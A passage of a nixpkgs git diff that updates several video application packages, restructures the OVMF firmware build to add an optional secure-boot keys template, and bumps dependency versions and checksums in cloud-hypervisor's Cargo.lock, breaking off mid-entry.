b/pkgs/applications/video/shotcut/default.nix @@ -20,13 +20,13 @@ }: stdenv.mkDerivation rec { pname = "shotcut"; - version = "24.01.31"; + version = "24.02.19"; src = fetchFromGitHub { owner = "mltframework"; repo = "shotcut"; rev = "v${version}"; - hash = "sha256-3Itlv9Jc4xl9pB4WDUwc3f7iP7NHyZ6yr5NZuH8M2Jo="; + hash = "sha256-fjm2gqbuLKj6YyAZGgbfWUd+JOM9/Fhvpfz0E+TaqY0="; }; nativeBuildInputs = [ pkg-config cmake wrapQtAppsHook ]; diff --git a/pkgs/applications/video/streamlink/default.nix b/pkgs/applications/video/streamlink/default.nix index 962604f791066..63e94fa600c64 100644 --- a/pkgs/applications/video/streamlink/default.nix +++ b/pkgs/applications/video/streamlink/default.nix @@ -6,12 +6,12 @@ python3Packages.buildPythonApplication rec { pname = "streamlink"; - version = "6.5.1"; + version = "6.6.2"; format = "pyproject"; src = fetchPypi { inherit pname version; - hash = "sha256-IH+0zpnDW/6xuPfHa5bPy0B2rWiBxh6upVPC7BPZfFc="; + hash = "sha256-0UF8fFmG3BQ7xxHIqZ97iEsQ0lg/RLHD2t6n3wp15NU="; }; nativeCheckInputs = with python3Packages; [ diff --git a/pkgs/applications/video/vdr/softhddevice/default.nix b/pkgs/applications/video/vdr/softhddevice/default.nix index 3e738e40d486f..4d2504f5e5e62 100644 --- a/pkgs/applications/video/vdr/softhddevice/default.nix +++ b/pkgs/applications/video/vdr/softhddevice/default.nix @@ -14,12 +14,12 @@ }: stdenv.mkDerivation rec { pname = "vdr-softhddevice"; - version = "2.0.9"; + version = "2.1.1"; src = fetchFromGitHub { owner = "ua0lnj"; repo = "vdr-plugin-softhddevice"; - sha256 = "sha256-FyjKMCKPZVtQhb7wBx4Xr6I/kb2QMH/TEE21bw5gcwc="; + sha256 = "sha256-d/Cl0sE4laDdjMhd3xTHcY4OT5tWWCFCvLsNF157+zw="; rev = "v${version}"; }; diff --git a/pkgs/applications/video/vokoscreen-ng/default.nix b/pkgs/applications/video/vokoscreen-ng/default.nix index 15d59af318fbe..d105849dba35e 100644 --- a/pkgs/applications/video/vokoscreen-ng/default.nix +++ b/pkgs/applications/video/vokoscreen-ng/default.nix @@ -1,52 +1,46 @@ -{ lib -, mkDerivation -, fetchFromGitHub -, pkg-config -, qmake -, qttools -, gstreamer -, libX11 -, pulseaudio -, qtbase -, qtmultimedia -, qtx11extras - +{ fetchFromGitHub +, gst_all_1 +, gst-plugins-bad , gst-plugins-base , gst-plugins-good -, gst-plugins-bad , gst-plugins-ugly -, wayland +, gstreamer +, lib +, libX11 , pipewire -, wrapQtAppsHook +, pkg-config +, pulseaudio +, qt6 +, stdenv +, wayland }: -mkDerivation rec { +stdenv.mkDerivation rec { pname = "vokoscreen-ng"; - version = "3.8.0"; + version = "4.0.0"; src = fetchFromGitHub { owner = "vkohaupt"; repo = "vokoscreenNG"; rev = version; - sha256 = "sha256-4tQ/fLaAbjfc3mt2qJsW9scku/CGUs74SehDaZgLPj4="; + hash = "sha256-Y6+R18Gf3ShqhsmZ4Okx02fSOOyilS6iKU5FW9wpxvY="; }; qmakeFlags = [ "src/vokoscreenNG.pro" ]; - nativeBuildInputs = [ qttools pkg-config qmake wrapQtAppsHook ]; + nativeBuildInputs = [ qt6.qttools pkg-config qt6.qmake qt6.wrapQtAppsHook ]; buildInputs = [ - gstreamer + gst_all_1.gstreamer libX11 pulseaudio - qtbase - qtmultimedia - qtx11extras + qt6.qtbase + qt6.qtmultimedia wayland pipewire - gst-plugins-base - gst-plugins-good - gst-plugins-bad - gst-plugins-ugly + gst_all_1.gst-plugins-base + gst_all_1.gst-plugins-good + gst_all_1.gst-plugins-bad + gst_all_1.gst-plugins-ugly ]; postPatch = '' @@ -67,7 +61,7 @@ mkDerivation rec { description = "User friendly Open Source screencaster for Linux and Windows"; license = licenses.gpl2Plus; homepage = "https://github.com/vkohaupt/vokoscreenNG"; - maintainers = with maintainers; [ shamilton ]; + maintainers = with maintainers; [ shamilton dietmarw ]; platforms = platforms.linux; mainProgram = "vokoscreenNG"; }; diff --git a/pkgs/applications/virtualization/OVMF/default.nix b/pkgs/applications/virtualization/OVMF/default.nix index 63c137c220c25..4798e324141d6 100644 --- a/pkgs/applications/virtualization/OVMF/default.nix +++ b/pkgs/applications/virtualization/OVMF/default.nix @@ -1,8 +1,22 @@ { stdenv, nixosTests, lib, edk2, util-linux, nasm, acpica-tools, llvmPackages -, csmSupport ? false, seabios -, fdSize2MB ? csmSupport -, fdSize4MB ? false +, fetchurl, python3, pexpect, xorriso, qemu, dosfstools, mtools +, fdSize2MB ? false +, fdSize4MB ? secureBoot , secureBoot ? false +, systemManagementModeRequired ? secureBoot && stdenv.hostPlatform.isx86 +# Whether to create an nvram variables template +# which includes the MSFT secure boot keys +, msVarsTemplate ? false +# When creating the nvram variables template with +# the MSFT keys, we also must provide a certificate +# to use as the PK and first KEK for the keystore. +# +# By default, we use Debian's cert. This default +# should chnage to a NixOS cert once we have our +# own secure boot signing infrastructure. +# +# Ignored if msVarsTemplate is false. +, vendorPkKek ? "$NIX_BUILD_TOP/debian/PkKek-1-Debian.pem" , httpSupport ? false , tpmSupport ? false , tlsSupport ? false @@ -14,28 +28,55 @@ let - projectDscPath = if stdenv.isi686 then - "OvmfPkg/OvmfPkgIa32.dsc" - else if stdenv.isx86_64 then - "OvmfPkg/OvmfPkgX64.dsc" - else if stdenv.hostPlatform.isAarch then - "ArmVirtPkg/ArmVirtQemu.dsc" - else if stdenv.hostPlatform.isRiscV then - "OvmfPkg/RiscVVirt/RiscVVirtQemu.dsc" - else - throw "Unsupported architecture"; + platformSpecific = { + i686 = { + projectDscPath = "OvmfPkg/OvmfPkgIa32.dsc"; + fwPrefix = "OVMF"; + }; + x86_64 = { + projectDscPath = "OvmfPkg/OvmfPkgX64.dsc"; + fwPrefix = "OVMF"; + msVarsArgs = { + flavor = "OVMF_4M"; + archDir = "X64"; + }; + }; + aarch64 = { + projectDscPath = "ArmVirtPkg/ArmVirtQemu.dsc"; + fwPrefix = "AAVMF"; + msVarsArgs = { + flavor = "AAVMF"; + archDir = "AARCH64"; + }; + }; + riscv64 = { + projectDscPath = "OvmfPkg/RiscVVirt/RiscVVirtQemu.dsc"; + fwPrefix = "RISCV_VIRT"; + }; + }; + + cpuName = stdenv.hostPlatform.parsed.cpu.name; + + inherit (platformSpecific.${cpuName}) + projectDscPath fwPrefix msVarsArgs; version = lib.getVersion edk2; - suffixes = { - i686 = "FV/OVMF"; - x86_64 = "FV/OVMF"; - aarch64 = "FV/AAVMF"; - riscv64 = "FV/RISCV_VIRT"; + OvmfPkKek1AppPrefix = "4e32566d-8e9e-4f52-81d3-5bb9715f9727"; + + debian-edk-src = fetchurl { + url = "http://deb.debian.org/debian/pool/main/e/edk2/edk2_2023.11-5.debian.tar.xz"; + sha256 = "1yxlab4md30pxvjadr6b4xn6cyfw0c292q63pyfv4vylvhsb24g4"; }; + buildPrefix = "Build/*/*"; + in +assert platformSpecific ? ${cpuName}; +assert msVarsTemplate -> fdSize4MB; +assert msVarsTemplate -> platformSpecific.${cpuName} ? msVarsArgs; + edk2.mkDerivation projectDscPath (finalAttrs: { pname = "OVMF"; inherit version; @@ -43,7 +84,8 @@ edk2.mkDerivation projectDscPath (finalAttrs: { outputs = [ "out" "fd" ]; nativeBuildInputs = [ util-linux nasm acpica-tools ] - ++ lib.optionals stdenv.cc.isClang [ llvmPackages.bintools llvmPackages.llvm ]; + ++ lib.optionals stdenv.cc.isClang [ llvmPackages.bintools llvmPackages.llvm ] + ++ lib.optionals msVarsTemplate [ python3 pexpect xorriso qemu dosfstools mtools ]; strictDeps = true; hardeningDisable = [ "format" "stackprotector" "pic" "fortify" ]; @@ -54,7 +96,7 @@ edk2.mkDerivation projectDscPath (finalAttrs: { ++ lib.optionals debug [ "-D DEBUG_ON_SERIAL_PORT=TRUE" ] ++ lib.optionals sourceDebug [ "-D SOURCE_DEBUG_ENABLE=TRUE" ] ++ lib.optionals secureBoot [ "-D SECURE_BOOT_ENABLE=TRUE" ] - ++ lib.optionals csmSupport [ "-D CSM_ENABLE" ] + ++ lib.optionals systemManagementModeRequired [ "-D SMM_REQUIRE=TRUE" ] ++ lib.optionals fdSize2MB ["-D FD_SIZE_2MB"] ++ lib.optionals fdSize4MB ["-D FD_SIZE_4MB"] ++ lib.optionals httpSupport [ "-D NETWORK_HTTP_ENABLE=TRUE" "-D NETWORK_HTTP_BOOT_ENABLE=TRUE" ] @@ -66,49 +108,76 @@ edk2.mkDerivation projectDscPath (finalAttrs: { env.PYTHON_COMMAND = "python3"; - postPatch = lib.optionalString csmSupport '' - cp ${seabios}/share/seabios/Csm16.bin OvmfPkg/Csm/Csm16/Csm16.bin + postUnpack = lib.optionalDrvAttr msVarsTemplate '' + unpackFile ${debian-edk-src} ''; - postFixup = ( - if stdenv.hostPlatform.isAarch then '' - mkdir -vp $fd/FV - mkdir -vp $fd/AAVMF - mv -v $out/FV/QEMU_{EFI,VARS}.fd $fd/FV + postConfigure = lib.optionalDrvAttr msVarsTemplate '' + tr -d '\n' < ${vendorPkKek} | sed \ + -e 's/.*-----BEGIN CERTIFICATE-----/${OvmfPkKek1AppPrefix}:/' \ + -e 's/-----END CERTIFICATE-----//' > vendor-cert-string + export PYTHONPATH=$NIX_BUILD_TOP/debian/python:$PYTHONPATH + ''; - # Use Debian dir layout: https://salsa.debian.org/qemu-team/edk2/blob/debian/debian/rules - dd of=$fd/FV/AAVMF_CODE.fd if=/dev/zero bs=1M count=64 - dd of=$fd/FV/AAVMF_CODE.fd if=$fd/FV/QEMU_EFI.fd conv=notrunc - dd of=$fd/FV/AAVMF_VARS.fd if=/dev/zero bs=1M count=64 + postBuild = lib.optionalString stdenv.hostPlatform.isAarch '' + ( + cd ${buildPrefix}/FV + cp QEMU_EFI.fd ${fwPrefix}_CODE.fd + cp QEMU_VARS.fd ${fwPrefix}_VARS.fd + + # QEMU expects 64MiB CODE and VARS files on ARM/AARCH64 architectures + # Truncate the firmware files to the expected size + truncate -s 64M ${fwPrefix}_CODE.fd + truncate -s 64M ${fwPrefix}_VARS.fd + ) + '' + lib.optionalString stdenv.hostPlatform.isRiscV '' + truncate -s 32M ${buildPrefix}/FV/${fwPrefix}_CODE.fd + truncate -s 32M ${buildPrefix}/FV/${fwPrefix}_VARS.fd + '' + lib.optionalString msVarsTemplate '' + ( + cd ${buildPrefix} + python3 $NIX_BUILD_TOP/debian/edk2-vars-generator.py \ + --flavor ${msVarsArgs.flavor} \ + --enrolldefaultkeys ${msVarsArgs.archDir}/EnrollDefaultKeys.efi \ + --shell ${msVarsArgs.archDir}/Shell.efi \ + --code FV/${fwPrefix}_CODE.fd \ + --vars-template FV/${fwPrefix}_VARS.fd \ + --certificate `< $NIX_BUILD_TOP/$sourceRoot/vendor-cert-string` \ + --out-file FV/${fwPrefix}_VARS.ms.fd + ) + ''; - # Also add symlinks for Fedora dir layout: https://src.fedoraproject.org/cgit/rpms/edk2.git/tree/edk2.spec + # TODO: Usage of -bios OVMF.fd is discouraged: https://lists.katacontainers.io/pipermail/kata-dev/2021-January/001650.html + # We should remove the isx86-specifc block here once we're ready to update nixpkgs to stop using that and update the + # release notes accordingly. + postInstall = '' + mkdir -vp $fd/FV + mv -v $out/FV/${fwPrefix}_{CODE,VARS}.fd $fd/FV + '' + lib.optionalString stdenv.hostPlatform.isx86 '' + mv -v $out/FV/${fwPrefix}.fd $fd/FV + '' + lib.optionalString msVarsTemplate '' + mv -v $out/FV/${fwPrefix}_VARS.ms.fd $fd/FV + ln -sv $fd/FV/${fwPrefix}_CODE{,.ms}.fd + '' + lib.optionalString stdenv.hostPlatform.isAarch '' + mv -v $out/FV/QEMU_{EFI,VARS}.fd $fd/FV + # Add symlinks for Fedora dir layout: https://src.fedoraproject.org/cgit/rpms/edk2.git/tree/edk2.spec + mkdir -vp $fd/AAVMF ln -s $fd/FV/AAVMF_CODE.fd $fd/AAVMF/QEMU_EFI-pflash.raw ln -s $fd/FV/AAVMF_VARS.fd $fd/AAVMF/vars-template-pflash.raw - '' - else if stdenv.hostPlatform.isRiscV then '' - mkdir -vp $fd/FV - - mv -v $out/FV/RISCV_VIRT_{CODE,VARS}.fd $fd/FV/ - truncate -s 32M $fd/FV/RISCV_VIRT_CODE.fd - truncate -s 32M $fd/FV/RISCV_VIRT_VARS.fd - '' - else '' - mkdir -vp $fd/FV - mv -v $out/FV/OVMF{,_CODE,_VARS}.fd $fd/FV - ''); + ''; dontPatchELF = true; passthru = let - cpuName = stdenv.hostPlatform.parsed.cpu.name; - suffix = suffixes."${cpuName}" or (throw "Host cpu name `${cpuName}` is not supported in this OVMF derivation!"); - prefix = "${finalAttrs.finalPackage.fd}/${suffix}"; + prefix = "${finalAttrs.finalPackage.fd}/FV/${fwPrefix}"; in { firmware = "${prefix}_CODE.fd"; variables = "${prefix}_VARS.fd"; # This will test the EFI firmware for the host platform as part of the NixOS Tests setup. tests.basic-systemd-boot = nixosTests.systemd-boot.basic; + tests.secureBoot-systemd-boot = nixosTests.systemd-boot.secureBoot; + inherit secureBoot systemManagementModeRequired; }; meta = { diff --git a/pkgs/applications/virtualization/cloud-hypervisor/Cargo.lock b/pkgs/applications/virtualization/cloud-hypervisor/Cargo.lock index 52afc0d15f831..533a473d036ea 100644 --- a/pkgs/applications/virtualization/cloud-hypervisor/Cargo.lock +++ b/pkgs/applications/virtualization/cloud-hypervisor/Cargo.lock @@ -5,7 +5,7 @@ version = 3 [[package]] name = "acpi_tables" version = "0.1.0" -source = "git+https://github.com/rust-vmm/acpi_tables?branch=main#1a733bf690ccc10bdfeacad33e3c9f6cce0008fd" +source = "git+https://github.com/rust-vmm/acpi_tables?branch=main#76e8552f57f76ca918e19c0a7b7480d2fa2c7241" dependencies = [ "zerocopy", ] @@ -50,9 +50,9 @@ dependencies = [ [[package]] name = "anstyle" -version = "1.0.1" +version = "1.0.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3a30da5c5f2d5e72842e00bcb57657162cdabef0931f40e2deb9b4140440cecd" +checksum = "8901269c6307e8d93993578286ac0edf7f195079ffff5ebdeea6a59ffb7e36bc" [[package]] name = "anstyle-parse" @@ -65,28 +65,28 @@ dependencies = [ [[package]] name = "anstyle-query" -version = "1.0.0" +version = "1.0.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5ca11d4be1bab0c8bc8734a9aa7bf4ee8316d462a08c6ac5052f888fef5b494b" +checksum = "e28923312444cdd728e4738b3f9c9cac739500909bb3d3c94b43551b16517648" dependencies = [ - "windows-sys 0.48.0", + "windows-sys 0.52.0", ] [[package]] name = "anstyle-wincon" -version = "3.0.1" +version = "3.0.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f0699d10d2f4d628a98ee7b57b289abbc98ff3bad977cb3152709d4bf2330628" +checksum = "1cd54b81ec8d6180e24654d0b371ad22fc3dd083b6ff8ba325b72e00c87660a7" dependencies = [ "anstyle", - "windows-sys 0.48.0", + "windows-sys 0.52.0", ] [[package]] name = "anyhow" -version = "1.0.75" +version = "1.0.79" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a4668cab20f66d8d020e1fbc0ebe47217433c1b6c8f2040faf858554e394ace6" +checksum = "080e9890a082662b09c1ad45f567faeeb47f22b5fb23895fbe1e651e718e25ca" [[package]] name = "api_client" @@ -135,13 +135,15 @@ dependencies = [ [[package]] name = "async-channel" -version = "1.9.0" +version = "2.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "81953c529336010edd6d8e358f886d9581267795c61b19475b71314bffa46d35" +checksum = "1ca33f4bc4ed1babef42cad36cc1f51fa88be00420404e5b1e80ab1b18f7678c" dependencies = [ "concurrent-queue", - "event-listener 2.5.3", + "event-listener 4.0.0", + "event-listener-strategy", "futures-core", + "pin-project-lite", ] [[package]] @@ -223,7 +225,7 @@ dependencies = [ "cfg-if", "event-listener 3.0.0", "futures-lite 1.13.0", - "rustix 0.38.8", + "rustix 0.38.25", "windows-sys 0.48.0", ] @@ -235,7 +237,7 @@ checksum = "5fd55a5ba1179988837d24ab4c7cc8ed6efdeff578ede0416b4225a5fca35bd0" dependencies = [ "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.48", ] [[package]] @@ -265,13 +267,13 @@ checksum = "b4eb2cdb97421e01129ccb49169d8279ed21e829929144f4a22a6e54ac549ca1" [[package]] name = "async-trait" -version = "0.1.74" +version = "0.1.76" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a66537f1bb974b254c98ed142ff995236e81b9d0fe4db0575f46612cb15eb0f9" +checksum = "531b97fb4cd3dfdce92c35dedbfdc1f0b9d8091c8ca943d6dae340ef5012d514" dependencies = [ "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.48", ] [[package]] @@ -312,13 +314,13 @@ dependencies = [ [[package]] name = "bitfield-struct" -version = "0.5.4" +version = "0.5.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "eac32db62a43cf33353ce30b4a208b08193ea2086a1c6c004acb0073c706a29d" +checksum = "a26b8cea8bb6a81b75a84603b9e096f05fa86db057904ef29be1deee900532bd" dependencies = [ "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.48", ] [[package]] @@ -338,7 +340,7 @@ name = "block" version = "0.1.0" dependencies = [ "byteorder", - "crc32c", + "crc-any", "io-uring", "libc", "log", @@ -366,17 +368,18 @@ dependencies = [ [[package]] name = "blocking" -version = "1.3.1" +version = "1.5.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "77231a1c8f801696fc0123ec6150ce92cffb8e164a02afb9c8ddee0e9b65ad65" +checksum = "6a37913e8dc4ddcc604f0c6d3bf2887c995153af3611de9e23c352b44c1b9118" dependencies = [ "async-channel", - "async-lock 2.7.0", + "async-lock 3.2.0", "async-task", - "atomic-waker", - "fastrand 1.9.0", - "futures-lite 1.13.0", - "log", + "fastrand 2.0.0", + "futures-io", + "futures-lite 2.1.0", + "piper", + "tracing", ] [[package]] @@ -436,7 +439,7 @@ checksum = "702fc72eb24e5a1e48ce58027a675bc24edd52096d5397d4aea7c6dd9eca0bd1" [[package]] name = "cloud-hypervisor" -version = "37.0.0" +version = "38.0.0" dependencies = [ "anyhow", "api_client", @@ -473,9 +476,9 @@ checksum = "acbf1af155f9b9ef647e42cdc158db4b64a1b61f743629225fde6f3e0be2a7c7" [[package]] name = "concurrent-queue" -version = "2.3.0" +version = "2.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f057a694a54f12365049b0958a1685bb52d567f5593b355fbf685838e873d400" +checksum = "d16048cd947b08fa32c24458a22f5dc5e835264f689f4f5653210c69fd107363" dependencies = [ "crossbeam-utils", ] @@ -490,12 +493,12 @@ dependencies = [ ] [[package]] -name = "crc32c" -version = "0.6.4" +name = "crc-any" +version = "2.4.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d8f48d60e5b4d2c53d5c2b1d8a58c849a70ae5e5509b08a48d047e3b65714a74" +checksum = "c01a5e1f881f6fb6099a7bdf949e946719fd4f1fefa56264890574febf0eb6d0" dependencies = [ - "rustc_version", + "debug-helper", ] [[package]] @@ -509,18 +512,15 @@ dependencies = [ [[package]] name = "crc64" -version = "1.0.0" +version = "2.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "55626594feae15d266d52440b26ff77de0e22230cf0c113abe619084c1ddc910" +checksum = "2707e3afba5e19b75d582d88bc79237418f2a2a2d673d01cf9b03633b46e98f3" [[package]] name = "crossbeam-utils" -version = "0.8.16" +version = "0.8.19" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5a22b2d63d4d1dc0b7f1b6b2747dd0088008a9be28b6ddf0b1e7d335e3037294" -dependencies = [ - "cfg-if", -] +checksum = "248e3bacc7dc6baa3b21e405ee045c3047101a49145e7e9eca583ab4c2ca5345" [[package]] name = "crypto-common" @@ -534,9 +534,9 @@ dependencies = [ [[package]] name = "darling" -version = "0.20.3" +version = "0.20.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0209d94da627ab5605dcccf08bb18afa5009cfbef48d8a8b7d7bdbc79be25c5e" +checksum = "c376d08ea6aa96aafe61237c7200d1241cb177b7d3a542d791f2d118e9cbb955" dependencies = [ "darling_core", "darling_macro", @@ -544,30 +544,36 @@ dependencies = [ [[package]] name = "darling_core" -version = "0.20.3" +version = "0.20.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "177e3443818124b357d8e76f53be906d60937f0d3a90773a664fa63fa253e621" +checksum = "33043dcd19068b8192064c704b3f83eb464f91f1ff527b44a4e2b08d9cdb8855" dependencies = [ "fnv", "ident_case", "proc-macro2", "quote", "strsim", - "syn 2.0.31", + "syn 2.0.48", ] [[package]] name = "darling_macro" -version = "0.20.3" +version = "0.20.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "836a9bbc7ad63342d6d6e7b815ccab164bc77a2d95d84bc3117a8c0d5c98e2d5" +checksum = "c5a91391accf613803c2a9bf9abccdbaa07c54b4244a5b64883f9c3c137c86be" dependencies = [ "darling_core", "quote", - "syn 2.0.31", + "syn 2.0.48", ] [[package]] +name = "debug-helper" +version = "0.3.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f578e8e2c440e7297e008bb5486a3a8a194775224bbc23729b0dbdfaeebf162e" + +[[package]] name = "derivative" version = "2.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -605,9 +611,9 @@ dependencies = [ [[package]] name = "dhat" -version = "0.3.2" +version = "0.3.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4f2aaf837aaf456f6706cb46386ba8dffd4013a757e36f4ea05c20dd46b209a3" +checksum = "98cd11d84628e233de0ce467de10b8633f4ddaecafadefc86e13b84b8739b827" dependencies = [ "backtrace", "lazy_static", @@ -668,14 +674,14 @@ checksum = "f95e2801cd355d4a1a3e3953ce6ee5ae9603a5c833455343a8bfe3f44d418246" dependencies = [ "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.48", ] [[package]] name = "env_logger" -version = "0.10.0" +version = "0.10.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "85cdab6a89accf66733ad5a1693a4dcced6aeff64602b634530dd73c1f3ee9f0" +checksum = "95b3f3e67048839cb0d0781f445682a35113da7121f7c949db0e2be96a4fbece" dependencies = [ "humantime", "is-terminal", @@ -801,9 +807,9 @@ checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" [[package]] name = "futures" -version = "0.3.28" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "23342abe12aba583913b2e62f22225ff9c950774065e4bfb61a19cd9770fec40" +checksum = "645c6916888f6cb6350d2550b80fb63e734897a8498abe35cfb732b6487804b0" dependencies = [ "futures-channel", "futures-core", @@ -816,9 +822,9 @@ dependencies = [ [[package]] name = "futures-channel" -version = "0.3.28" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "955518d47e09b25bbebc7a18df10b81f0c766eaf4c4f1cccef2fca5f2a4fb5f2" +checksum = "eac8f7d7865dcb88bd4373ab671c8cf4508703796caa2b1985a9ca867b3fcb78" dependencies = [ "futures-core", "futures-sink", @@ -826,15 +832,15 @@ dependencies = [ [[package]] name = "futures-core" -version = "0.3.29" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "eb1d22c66e66d9d72e1758f0bd7d4fd0bee04cad842ee34587d68c07e45d088c" +checksum = "dfc6580bb841c5a68e9ef15c77ccc837b40a7504914d52e47b8b0e9bbda25a1d" [[package]] name = "futures-executor" -version = "0.3.28" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ccecee823288125bd88b4d7f565c9e58e41858e47ab72e8ea2d64e93624386e0" +checksum = "a576fc72ae164fca6b9db127eaa9a9dda0d61316034f33a0a0d4eda41f02b01d" dependencies = [ "futures-core", "futures-task", @@ -843,9 +849,9 @@ dependencies = [ [[package]] name = "futures-io" -version = "0.3.28" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4fff74096e71ed47f8e023204cfd0aa1289cd54ae5430a9523be060cdb849964" +checksum = "a44623e20b9681a318efdd71c299b6b222ed6f231972bfe2f224ebad6311f0c1" [[package]] name = "futures-lite" @@ -877,32 +883,32 @@ dependencies = [ [[package]] name = "futures-macro" -version = "0.3.28" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "89ca545a94061b6365f2c7355b4b32bd20df3ff95f02da9329b34ccc3bd6ee72" +checksum = "87750cf4b7a4c0625b1529e4c543c2182106e4dedc60a2a6455e00d212c489ac" dependencies = [ "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.48", ] [[package]] name = "futures-sink" -version = "0.3.28" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f43be4fe21a13b9781a69afa4985b0f6ee0e1afab2c6f454a8cf30e2b2237b6e" +checksum = "9fb8e00e87438d937621c1c6269e53f536c14d3fbd6a042bb24879e57d474fb5" [[package]] name = "futures-task" -version = "0.3.29" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "efd193069b0ddadc69c46389b740bbccdd97203899b48d09c5f7969591d6bae2" +checksum = "38d84fa142264698cdce1a9f9172cf383a0c82de1bddcf3092901442c4097004" [[package]] name = "futures-util" -version = "0.3.28" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "26b01e40b772d54cf6c6d721c1d1abd0647a0106a12ecaa1c186273392a69533" +checksum = "3d6401deb83407ab3da39eba7e33987a73c3df0c82b4bb5813ee871c19c41d48" dependencies = [ "futures-channel", "futures-core", @@ -918,9 +924,9 @@ dependencies = [ [[package]] name = "gdbstub" -version = "0.7.0" +version = "0.7.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "09a8b954f9d02b74fe8e89a1c77bd9a6b8206713ebf1b272bfad9573b4a86f88" +checksum = "6341b3480afbb34eaefc7f92713bc92f2d83e338aaa1c44192f9c2956f4a4903" dependencies = [ "bitflags 2.4.1", "cfg-if", @@ -952,9 +958,9 @@ dependencies = [ [[package]] name = "getrandom" -version = "0.2.10" +version = "0.2.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "be4136b2a15dd319360be1c07d9933517ccf0be8f16bf62a3bee4f0d618df427" +checksum = "fe9006bed769170c11f845cf00c7c1e9092aeb3f268e007c3e760ac68008070f" dependencies = [ "cfg-if", "js-sys", @@ -1121,7 +1127,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "cb0889898416213fab133e1d33a0e5858a48177452750691bde3666d0fdbaf8b" dependencies = [ "hermit-abi", - "rustix 0.38.8", + "rustix 0.38.25", "windows-sys 0.48.0", ] @@ -1142,8 +1148,8 @@ dependencies = [ [[package]] name = "kvm-bindings" -version = "0.6.0" -source = "git+https://github.com/cloud-hypervisor/kvm-bindings?branch=ch-v0.6.0-tdx#7d9ffb47e5b9b1989577258800a0f57c93f1445f" +version = "0.7.0" +source = "git+https://github.com/cloud-hypervisor/kvm-bindings?branch=ch-v0.7.0#2dcf85d4f8aa55befcaa996b699ddb18ec9ed059" dependencies = [ "serde", "serde_derive", @@ -1152,9 +1158,11 @@ dependencies = [ [[package]] name = "kvm-ioctls" -version = "0.13.0" -source = "git+https://github.com/rust-vmm/kvm-ioctls?branch=main#23a3bb045a467e60bb00328a0b13cea13b5815d0" +version = "0.16.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9002dff009755414f22b962ec6ae6980b07d6d8b06e5297b1062019d72bd6a8c" dependencies = [ + "bitflags 2.4.1", "kvm-bindings", "libc", "vmm-sys-util", @@ -1168,9 +1176,9 @@ checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" [[package]] name = "libc" -version = "0.2.147" +version = "0.2.153" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b4668fb0ea861c1df094127ac5f1da3409a82116a4ba74fca2e58ef927159bb3" +checksum = "9c198f91728a82281a64e1f4f9eeb25d82cb32a5de251c6bd1b5154d63a8e7bd" [[package]] name = "libssh2-sys" @@ -1200,9 +1208,9 @@ dependencies = [ [[package]] name = "linux-loader" -version = "0.10.0" +version = "0.11.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "132a531b85b3a164012ab682c72f8f2cce7757f187be5f60782fd2b4cda9cb34" +checksum = "eb68dd3452f25a8defaf0ae593509cff0c777683e4d8924f59ac7c5f89267a83" dependencies = [ "vm-memory", ] @@ -1215,9 +1223,9 @@ checksum = "ef53942eb7bf7ff43a617b3e2c1c4a5ecf5944a7c1bc12d7ee39bbb15e5c1519" [[package]] name = "linux-raw-sys" -version = "0.4.5" +version = "0.4.13" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "57bcfdad1b858c2db7c38303a6d2ad4dfaf5eb53dfeb0910128b2c26d6158503" +checksum = "01cda141df6706de531b6c46c3a33ecca755538219bd484262fa09410c13539c" [[package]] name = "lock_api" @@ -1259,7 +1267,7 @@ dependencies = [ [[package]] name = "micro_http" version = "0.1.0" -source = "git+https://github.com/firecracker-microvm/micro-http?branch=main#a4d632f2c5ea45712c0d2002dc909a63879e85c3" +source = "git+https://github.com/firecracker-microvm/micro-http?branch=main#e75dfa1eeea23b69caa7407bc2c3a76d7b7262fb" dependencies = [ "libc", "vmm-sys-util", @@ -1287,7 +1295,7 @@ dependencies = [ [[package]] name = "mshv-bindings" version = "0.1.1" -source = 